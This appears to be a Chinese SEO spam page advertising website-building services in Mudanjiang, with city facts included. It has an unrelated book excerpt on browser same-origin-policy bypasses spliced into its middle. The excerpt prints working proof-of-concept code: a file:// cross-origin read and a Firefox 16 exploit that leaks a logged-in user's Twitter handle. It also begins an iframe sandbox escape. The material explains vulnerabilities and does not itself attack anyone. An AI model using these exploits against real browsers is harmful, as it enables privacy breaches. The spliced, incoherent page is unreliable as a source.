-
您身边的网站建设推广专家
专注营销型网站建设 . 搜索引擎全网覆盖推广 . 打造移动互联网
全国咨询热线
【建站服务】牡丹江企业微信公众号小程序开发公司、牡丹江企业网页设计方案、牡丹江做网站开发价格、牡丹江微信公众号制作运营报价明细表、牡丹江网站设计公司费用、牡丹江网站推广大概需要多少钱-域名申请
作者: 风兰 . 阅读量： 3 . 发表时间：2022-09-20 15:29:08
上往建站提供服务器空间服务商，百度快照排名，网站托管，百度推广运营,致力于设计外包服务与源代码定制开发，360推广，搜狗推广,增加网站的能见度及访问量提升网络营销的效果,主营：网站公司,百度推广公司电话,官网搭建服务,网站服务企业排名,服务器空间,英文域名等业务，专业团队服务，效果好。
牡丹江企业微信公众号小程序开发公司、牡丹江企业网页设计方案、牡丹江做网站开发价格、牡丹江微信公众号制作运营报价明细表、牡丹江网站设计公司费用、牡丹江网站推广大概需要多少钱
牡丹江市，别称雪城，是黑龙江省地级市，国务院批复确定的黑龙江省东南部重要的中心城市和风景旅游城市 [1] 。全市共辖4个市辖区、5个县级市、1个县，总面积4.06万平方千米，总人口280万人。 [2]
牡丹江地处中国东北地区，东北亚经济圈中心区域，与俄罗斯边境线长211公里。牡丹江是“中蒙俄经济走廊”龙江丝路带的重要战略支点，中国对俄沿边开放的桥头堡和枢纽站。牡丹江属中温带大陆性季风气候，素有“塞外江南”、“鱼米之乡”的美誉。域内G10、G11国道和滨绥、图佳铁路贯穿全境。 [3]
牡丹江市，因黑龙江省松花江上最大支流之一的牡丹江横跨市区因而得名。牡丹江市已开发利用的主要风景名胜古迹及人文景点有火山口国家森林公园、牡丹峰国家森林公园和国家自然保护区、雪乡滑雪场、牡丹峰滑雪场、八女投江纪念群雕、横道河子东北虎林园及冬季在牡丹江江面上建设的雪堡等。2017年12月，当选“中国十佳冰雪旅游城市”
<html><body>
<h1> I'm a local file loaded using the file:// scheme </h1><script>xhr = new XMLHttpRequest();xhr.onreadystatechange = function (){
if (xhr.readyState == 4) {
alert(xhr.responseText);
}};xhr.open("GET","http://browserhacker.com/pocs/safari_sop_bypass/different_orig.html");xhr.send();</script></body></html>复制代码当页面通过file协议加载后，XMLHttpRequest对象在请求browserhacker.com中的different_ orig.html后可以读取响应。在图2-3中，可以看到这样做的结果，读取的内容被显示在了警告对话框中。
图2-3 使用file协议加载JavaScript代码后，会成功获得跨域资源的内容
相反，如果你使用其他协议（比如http）加载这个页面，会发现警告对话框是空的。
2012年10月，Gareth Heyes发现了一个在Firefox中绕过SOP的绝妙方法14。因为漏洞实在太严重，所以Mozilla决定在修复漏洞之前，不让用户从他们的服务器上下载Firefox 1615。考虑到之前的版本并未受到攻击，Mozilla假设该漏洞是由该版本升级引入，并且没有在对Firefox 16进行回归测试时发现。这个漏洞会导致在SOP的限制之外，未经授权访问window.location对象。以下是Heyes最初的概念验证（Proof of Concept ，PoC）代码：
<!doctype html><script>function poc() {
var win = window.open('https://twitter.com/lists/', 'newWin','width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https://twitter.com/([^/]+)/.exec(
win.location)[1])
}, 5000);}</script><input type=button value="Firefox knows" onclick="poc()">复制代码在你控制的源（比如browserhacker.com）中执行前面的代码，而且有一个标签页登录了Twitter，就可以发动这种攻击。执行后会打开一个新窗口，加载https://twitter.com/lists。Twitter随后自动重定向到https://twitter.com//lists（其中user_id是你的Twitter句柄）。5秒钟后，exec函数会触发正则表达式对window.location对象进行解析（漏洞就在这里，因为不应该能跨域访问）。于是Twitter的句柄就会显示在警告框里面。
沙箱中的IFrame
HTML5给IFrame元素添加了一个新属性：
sandbox。这个新属性是为了更细粒度也更安全地使用IFrame，同时限制来自不同源的第三方内容的潜在侵害。这个
sandbox属性值可以是零或多个下列关键字：allow-forms、allow-popups、allow-same-origin、allow-scripts和allow-top-navigation。
2012年8月左右，Firefox开始支持HTML5的沙箱内嵌框架。Braun发现，在sandbox值为allow-scripts时，内嵌框架中的恶意JavaScript脚本仍然可以访问window.top。这样就有了改变外部window地址的可能：
<!-- 外部文件，带有沙箱 --><iframe src="inner.html" sandbox="allow-scripts"></iframe>
牡丹江企业微信公众号小程序开发公司、牡丹江企业网页设计方案、牡丹江做网站开发价格、牡丹江微信公众号制作运营报价明细表、牡丹江网站设计公司费用、牡丹江网站推广大概需要多少钱
上往建站提供搭建网站，域名注册，官网备案服务，网店详情页设计，企业网店，专业网络店铺管理运营全托管公司咨询电话，服务器空间，微信公众号托管，网页美工排版,致力于域名申请，竞价托管，软文推广，全网营销,提供标准级专业技术保障，了却后顾之忧,主营：虚拟主机，网站推广，百度竞价托管，网站建设，上网建站推广服务，网络公司有哪些等业务，专业团队服务，效果好。
服务热线：400-111-6878 手机微信同号:18118153152（各城市商务人员可上门服务）
关键词：网站建设,企业网站,网站制作,网页设计,高端网站建设,企业网站制作,网页制作,制作网站,网站设计,高端网页设计,高端网站设计,做网站,自适应网站
